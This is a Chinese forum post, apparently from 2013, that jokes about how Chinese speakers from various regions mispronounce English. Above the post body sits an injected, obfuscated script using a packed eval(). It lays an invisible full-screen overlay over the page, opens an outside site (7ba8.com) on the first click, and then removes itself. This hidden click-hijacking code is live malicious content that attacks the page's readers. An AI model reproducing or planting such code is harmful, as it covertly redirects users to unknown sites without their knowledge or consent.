听口音您是中国人吧

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script> 本帖最后由 春天的花溪 于 2013-9-4 15:49 编辑
尽管中国人是公认的学习最认真的人种,尽管出了国的中国人都有十数年或者数十年的学习英文的历史。但是,中国人说英文不出三句,就被广大的外国劳动人民给定位了:“听口音您是中国人吧?” 看,这话问的多客气?!
老张来美国二十年了,在美国硕士博士学了个溜够。可是一张嘴我就知道他是东北那疙瘩的:“My name is Zhang, 贼..H..A..N..G, not 西..H..A..N..G.” 老张和所有的东北人一样,C永远都念:西,Z 永远念:贼。 不论来美国多少年,不论拿过多少个PHD,东北人的西和贼永远不变!
小刘是四川人,其实,我永远都不知道她是姓刘还是姓牛。她的英文名字叫 Lancy 抑或 Nancy. 四川人的 L 和 N 永远都是分不清楚的。不论是男是女,不论在美国读的是 Language 还是 Nanguage, 让人永远分不清楚的就是N和L。不但我分不清楚,她们自己也分不清楚。
北京人说普通话应该是得天独厚了。一口地道的北京腔经常让外地人嫉妒。可是,北京人说英文那可真是难听。北京是不是说英文,是吐噜英文:“你丫狗外斯特,见一路口你就TURN 赖福特,到一大路口,那是林肯肉的,再一拐弯儿就到了。”北京人不会念 ROAD, 永远都是肉的。最典型的北京英文就是北京星巴克服务员的英文:“来一奶希,一当日和一米儿克SHAKE,这是找您的妈尼。”
山西陕西人说英文就更不容易了。尤其说GO或者以O结尾的音,一般都是呕儿呕儿的,就象逗猴子一样。上海那边儿的也不容易,腔调里都是阿拉 AM RIGHT, 侬 ARE TOTALLY WRONG。
其实,哪个国家说英文都有口音,只不过,咱中国人的口音比较中国化罢了。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部